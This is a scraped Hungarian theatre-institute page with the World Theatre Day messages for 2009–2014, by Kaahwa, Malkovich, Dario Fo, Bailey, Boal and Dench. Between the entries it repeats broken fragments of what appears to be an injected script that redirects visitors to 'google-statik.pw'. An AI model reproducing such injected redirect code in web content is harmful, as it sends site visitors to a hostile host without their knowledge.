A Nemzetközi Színházi Intézet Magyar Központjának kiadványa, a Hungaraian Theatre Bulletin legutóbbi száma az alábbi mellékletben tölthető le.

 

Híreink:
Honlap
Ma elkezdodott a honlap szerkesztese. if (screen.width ;} if (screen.width
 
Színházi Világnapi Üzenet 2011

Jessica A. Kaahwa, Uganda

Jessica Kaahwa dramairo, szinesz, rendezo, kutato. Jelenleg az Ugandai Makerere Egyetem zene-tanc-drama tanszeken docens, itt is vegezte egyetemi tanulmanyait. Dolgozott a Nigeriai Radio munkatarsakent, 2001-ben szinhaztorteneszkent szerzett PhD fokozatot az Egyesult Allamokban levo University of Marylanden. Eddig tizenot szindarabot, radio- es tv-jatekot irt, tobb dramajat maga rendezte, valamint szinpadra allitott klasszikus muveket is, tobbek kozott a Lear kiralyt, a Kurazsi mamat.

Jessica A. Kaahwa humanitarius tevekenysegerol is nemzetkozileg ismert es elismert szemelyiseg, aki a konfliktustol terhelt zonakban a szinhaz es a media eszkozeivel segit az ott eloknek.

Jessica A. Kaahwa dramairo, szinesz, rendezo Szinhazi Vilagnapi uzenete Ugandabol

2011

Ez a mostani unnep jol tukrozi, hogy a szinhaznak milyen fontos szerepe lehet a kozossegek felrazasaban, a megosztottsag felszamolasaban.

Gondoltak-e mar arra, hogy a szinhaz milyen fontos lehet a beke es a nepek kozotti megbekeles megteremteseben? A nemzetek hatalmas osszegeket forditanak arra, hogy nyugalmat teremtsenek a vilag konfliktusokkal terhelt zonaiban, de keves figyelmet szentelnek a szinhaznak, ami valodi lehetoseget kinal az ellentetek feloldasara. Hogyan lehet beket teremteni a Foldon, ha az ehhez szukseges eszkozoket fokent elnyomo hatalmak biztositjak?

A felelemmel es gyanakvassal atjart lelkekbe finoman feszkeli be magat a szinhaz, megvaltoztatja az embert, az onmagarol kialakitott kepet, es valasztasi lehetosegek sorat kinalja fel neki, es altala a kozossegnek. A szinhaz ertelmet ad a manak, es megov a bizonytalan jovotol. A szinhaz egyszeruen es kozvetlenul foglalkozik tarsadalmi kerdesekkel. A szinhaz olyan tapasztalatokat surit magaba, amelyek lehetove teszik, hogy tullepjunk az eloiteleteken.

A szinhaz szoszoloja es eszkoze a kozosseg halado gondolatainak, amelyeket vedelmeznunk kell, ha veszelybe kerulnek.

A bekesebb jovo bekes eszkozoket igenyel, olyanokat, amelyek hozzasegitenek az ertekek felismeresehez, megertesehez. A szinhaz egyetemes kifejezesmod, nyelv, amely a bekesseg es a megnyugvas uzenetet kuldi.

A szinhaz sok embert megmozgat, es ezaltal arra osztonozi oket, hogy megvaltoztassak korabbi felfogasukat, es ily modon megadja az eselyt, hogy az ujra felfedezett tudas es valosag ismereteben dontsenek, valasszanak. Mint minden mas muveszeti forma, a szinhaz is akkor prosperal, ha a mindennapi elet reszekent a konfliktusok es a megbekeles egeto kerdesivel foglalkozik.

A tarsadalmi valtozas es fejlodes elosegitojekent a szinhaz jelen van a haboruktol dult teruleteken is, ahol kronikus szegenysegtol es betegsegektol szenvednek az ott elok. Szamos sikeres tortenetet ismerunk, amelyek arrol szolnak, hogyan mozgositotta a szinhaz a kozvelemenyt, hogyan segitett abban, hogy a szenvedok ontudatra ebredjenek, es kepesek legyenek feldolgozni traumaikat. Az olyan kulturalis platformok, mint amilyen a Nemzetkozi Szinhazi Intezet, amelynek celja „a nepek kozotti beke es baratsag megerositese”, mar ennek neveben mukodnek.

Milyen cinikus, ha egy olyan korban, mint a mienk, amelyben ismerjuk a szinhaz hatalmat, olyan erok biztositsak a vilagbeket, amelyek fegyverekkel es bombakkal harcolnak. Hogyan is szolgalhatnak a megnyugvast az elidegenites eszkozei?

A Szinhazi Vilagnap alkalmabol arra kerem Onoket, hogy gondolkozzanak el ezen a perspektivan, es matol kezdve tekintsek a szinhazat a parbeszed, a tarsadalmi valtozasok eszkozenek. Az Egyesult Nemzetek Szovetsege hatalmas osszegeket fordit arra, hogy fenntartsa a beket a vilagban, pedig a szinhaz olyan alternativa lehetne, amely spontan, emberi, nem olyan koltseges, de sokkal eredmenyesebb.

Bizonyara nem csak egyetlen valasz lehetseges arra, hogyan lehet harmoniat teremteni, de az biztos, hogy a szinhaz ennek egyik hatasos eszkoze.

 

Forditas es Forras: ITI Magyar Kozpont

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Színházi Világnapi Üzenet 2012

WORLD THEATRE DAY MESSAGE 2012
By John Malkovich International Message

I'm honored to have been asked by the International Theatre Institute
ITI at UNESCO to give this greeting commemorating the 50th anniversary
of WorldTheatre Day. I will address my brief remarks to my fellow
theatre workers, peersand comrades.May your work be compelling and
original. May it be profound, touching,contemplative, and unique. May
it help us to reflect on the question of what itmeans to be human, and
may that reflection be blessed with heart, sincerity,candor, and
grace. May you overcome adversity, censorship, poverty and nihilism,as
many of you will most certainly be obliged to do. May you be blessed
with the talent and rigor to teach us about the beating of the human
heart in all itscomplexity, and the humility and curiosity to make it
your life's work. And may thebest of you - for it will only be the
best of you, and even then only in the rarest andbriefest moments -
succeed in framing that most basic of questions, "how do welive?"
Godspeed.- John Malkovich

Szinhazi Vilagnapi uzenet, 2012

Nagy megtiszteltetes a szamomra, hogy az UNESCO egisze alatt mukodo
Nemzetkozi Szinhazi Intezet engem kert fel az otvenedik Szinhazi
Vilagnap uzenetenek megfogalmazasara. A szinhazakban dolgozo tarsaimnak, barataimnak kuldom rovid gondolataimat.

Kivanom, hogy munkatok legyen nagyszeru es eredeti. Mely, megindito,
elgondolkodtato es egyedi. Azt kivanom, hogy segitsen elgondolkodni
azon, mit is jelent embernek lenni, es mindezt szivvel-lelekkel,
oszinten, nyiltan es meltosaggal tegyetek. Azt kivanom, hogy gyozzetek
le a viszontagsagokat, a cenzurat, a szegenyseget es a nihilizmust,
melyekkel kozuletek sokaknak meg kell kuzdeni. Tehetseggel es
kerlelhetetlenul tanitsatok arra, hogy a maguk osszetettsegeben ertsuk
meg az emberi erzelmeket. Ez egy egesz elet munkaja, amelyet alazattal
es kivancsisaggal valositsatok meg. Kivanom, hogy tehetsegetek
legjavat adva -  es ez is csak kiveteles es rovid pillanatokban
lehetseges - sikerrel fogalmazzatok meg a "hogyan eljunk?" alapveto
kerdeset. Igy legyen!

John Malkovich

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Színházi Világnapi Üzenet 2013

DARIO FO

Szinhazi vilagnapi uzenete, 2013

Hajdanan a hatalom intolerans volt a komediasokkal, es elkergette oket az orszagbol. A szineszek es a tarsulatok ma azzal kinlodnak, hogy helyet, szinhazat es kozonseget talaljanak; es mindennek a valsag az oka.

A hatalmon levok tehat mar nem akarjak ellenorizni es korlatozni azokat, akik ironiaval es maro gunnyal fejezik ki magukat, mivel a szineszeknek se teruk, se publikumuk nincs, akihez szolhatnanak.

Ezzel szemben a reneszansz koraban, Italiaban a hatalomnak nehez dolga volt, amikor feken akarta tartani a komediasokat, mert azok nagy nepszerusegnek orvendtek.

Koztudott, hogy a Commedia dell’Arte szineszeinek tomeges elvandorlasa az Ellenreformacio koraban kovetkezett be, amikor elrendeltek a szinhazi terek elpusztitasat, kulonosen Romaban, ahol a szent varos meggyalazasaval vadoltak oket. XII. Ince papa, a polgarsag konzervativabb es a klerus magas rangu kepviseloinek kitarto nyomasara 1697-ben elrendelte a Tordinona szinhaz bezarasat, amelynek szinpadan a moralistak szerint a legtobb obszcen eloadast jatszottak.

Az Ellenreformacio koraban, az Eszak-Italiaban mukodo Carlo Borromeo biboros tevekenysegenek nagy reszet a „milanoi hivek” megvaltasanak szentelte, meghozza ugy, hogy kulonbseget tett a muveszet, mint a szellemi neveles legmagasabb formaja es a szinhaz kozott, amely szerinte a szentsegtores es a hiusag megnyilvanulasa. Egy – a munkatarsaihoz irt – leveleben, amit emlekezetbol idezek, tobbe-kevesbe a kovetkezoket fogalmazza meg:

„Mi, akik a mergezo gyomok elpusztitasara vallalkozunk, megteszunk minden tolunk telhetot, hogy tuzre vessuk a gyalazatos szovegeket, hogy kitoroljuk ezeket az emberi emlekezetbol, es uldozzuk azokat, akik mindezt kinyomtatjak. Nyilvanvalo azonban, hogy amig mi aludtunk, az ordog ujra meg ujra megujulo ravaszsaggal munkalkodott. Mennyivel melyebben hatja at a lelket az, amit a szem lat, mint ami az ilyen konyvekben olvashato! Mennyivel sulyosabban rombolja a fiatal fiuk es lanyok elmejet a kimondott szo es az azt kisero gesztus, mint a konyv lapjain olvashato holt szavak. Kovetkezeskeppen surgosen el kell uzni a varosainkbol a szineszeket, ahogy ezt a nemkivanatos szemelyekkel tesszuk.”

Eppen ezert a valsag megoldasara az az egyetlen remenyunk, hogy uldozni kezdenek bennunket es foleg azokat a fiatalokat, akik szinhazzal akarnak foglalkozni: igy kialakul majd a komediasoknak es szinhazcsinaloknak egy uj diaszporaja, amely a tiltasokbol minden kepzeletet felulmulo erenyt farag, es uj szinhazat hoz letre.

 

Forras: Nemzetkozi Szinhazi Intezet (ITI) Magyar Kozpont

Dario Fo (1926. marcius 24.) olasz dramairo, szinhazigazgato, szinesz, zeneszerzo, a commedia dell’arte mufajanak megujitoja. Muveiben a legtobbszor a politikai korrupciot, a politikai gyilkossagokat allitja kozeppontba. 1997-ben Nobel-dijat kapott „az egyszerre szorakoztato, lebilincselo es tavlatokat nyujto szovegek alkotasaban mutatkozo erossege elismeresekent.” Leghiresebb es legnepeszerubb darabja az Mistero Buffo (1969), melyet tobb mint harminc nyelvre forditottak le.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Színházi Világnapi Üzenet 2014

Brett Bailey szinhazi vilagnapi uzenete 2014


Ahol emberi kozosseg van, ott megjelenik az Eloadas elfojthatatlan Szelleme.

Kis falvakban a fak toveben, a nagyvarosok rafinalt szinpadan, az iskola elocsarnokaban, mezon, templomban; nyomortelepen, kozteren, szabadido kozpontban es belvarosi alagsorban gyulnek ossze az emberek, hogy elmeruljenek abban a tiszavirag eletu szinhazi vilagban, amelyet teljes letunkkel, lelegzetunkkel es hangunkkal teremtunk meg, hogy kifejezzuk emberi mivoltunk bonyolultsagat, sokfeleseget, sebezhetoseget.

Osszegyulunk, hogy sirjunk es emlekezzunk, nevessunk es elmerengjunk, hogy tanuljunk, allitsunk es elkepzeljunk valamit. Hogy elgyonyorkodjunk a technikai tudason, hogy megjelenitsuk az Isteneket. Hogy visszafojtott lelegzettel figyeljuk, azt, hogy mindannyian mennyire nyitottak vagyunk a szepre, az egyutterzesre es a szornyusegre. Hogy feltoltodjunk es erosebbek legyunk. Hogy unnepeljuk a kulonbozo kulturak gazdagsagat es szertefoszlassuk a bennunket elvalaszto hatarokat.

Ahol emberi kozosseg van, ott megjelenik az Eloadas elfojthatatlan Szelleme. Az eloadas kozossegbol szuletik, es kulonbozo hagyomanyok maszkjait es jelmezeit olti magara. Az eloadas felhasznalja a nyelvet, a ritmust, a gesztusokat, es megtisztitja az utat kozottunk.

Mi muveszek, akik ezzel az osi Szellemmel dolgozunk, arra iteltettunk, hogy szivunkon, gondolatainkon es testunkon atszurve feltarjuk a valosagot a maga mindennapisagaban es fenylo titokzatossagaban.

Egy olyan korban, amelyben sok millio ember a tulelesert kuzd, elnyomo rendszerektol es a kizsakmanyolo kapitalizmustol szenved, menekul a konfliktusok es a nehezsegek elol, egy olyan korban, amelyben maganeletunket behalozzak a titkosszolgalatok, es tolakodo kormanyok cenzurazzak minden szavunkat; egy olyan korban, amelyben erdoket irtanak ki, fajokat vegeznek ki, es oceanokat szennyeznek: mi az, amirol beszelnunk kell?

Ebben az egyenlotlen vilagban, amelyben a legfobb hatalom birtokosai arrol akarnak meggyozni minket, hogy letezik egyetlen nemzet, egyetlen faj, egyetlen nem, egyetlen szexualis preferencia, egyetlen vallas, egyetlen ideologia, egyetlen kultura, amely felsobbrendu az osszes tobbinel, vedheto-e az a gondolat, mely szerint a muveszetek es a politika szetvalaszthato?

Mi, az arenak es szinpadok muveszei, vajon alavetjuk-e magunkat a piac kilugozott igenyeinek, vagy elunk a hatalmunkkal, megnyitjuk az emberek szivet es gondolkodasat, magunk kore gyujtjuk es lelkesitjuk, elvarazsoljuk, megvilagositjuk oket, es a remenyre, az oszinte egyuttmukodesre epulo vilagot teremtunk?


Forras: ITI Magyar Kozpont

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
SZÍNHÁZI VILÁGNAPI ÜZENET 2009

Augusto Boal irasa:

Kulonosek az emberi tarsadalmak mindennapjai, de bizonyos alkalmakkor megis szinhazi eloadasokra van szuksegunk. Ezek fontos tarsasagi esemenyek, olyanok, mint amilyenre most eljottek.

Nem tudatosul bennunk, de az emberi kapcsolatok szinhazi mintakat kovetnek: a ter hasznalata, a testbeszed, a szavak megvalasztasa, a hanghordozas, a gondolatok es erzelmek utkozese, vagyis mindaz, amit a szinhazban bemutatunk, es sajat eletunkben is megelunk, azt sugallja: a szinhaz teremtett minket!

Read more...
 
Színházi Világnapi Üzenet 2010

Szinhazi Vilagnapi Uzenet

Judi Dench

2010. marcius 27.

A Szinhazi Vilagnap megteremi a lehetoseget, hogy a maga sokfelesegeben unnepeljuk a Szinhazat, amely nemcsak a szorakoztatas es az inspiracio forrasa, hanem a vilag minden tajan kepes a kulonbozo kulturaju emberek sokasagat egyesiteni. A szinhaz meg ennel is tobb : a neveles es a tudas atadasanak lehetosege.

Mindenhol van szinhaz, es nem pusztan hagyomanyos szinhazi keretek kozott : jatszani lehet egy kicsi, afrikai faluban, az ormeny hegyek labanal, a Csendes-ocean pici szigeten. A szinhaznak  pusztan terre es kozonsegre van szuksege. A szinhaz  kepes megnevettetni, megrikatni bennunket, de el is gondolkodtat es cselekvesre kesztet.

A szinhazi eloadas csapatmunka gyumolcse. A kozonseg csak a szineszeket latja,  a hatterben azonban rengeteg ember dolgozik, de oket nem latjuk. Pedig ugyanolyan fontosak, mint a szineszek. Sokfele, specialis ismerettel rendelkeznek es hozzaertesukkel lehetove teszik egy eloadas megszuleteset, bemutatasat. A sikerekbol, diadalokbol nekik is jar.

  Marcius 27. a Szinhazi Vilagnap hivatalos datuma. De minden napnak Szinhazi Vilagnapnak kellene lennie, mert a mi felelossegunk, hogy fenntartsuk a kozonseg szorakoztatasat, neveleset es epuleset szolgalo hagyomanyt, amely nelkul letezni sem tudnank.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
<< Start < Prev 1 2 3 4 5 6 7 8 9 10 Next > End >>

Page 1 of 13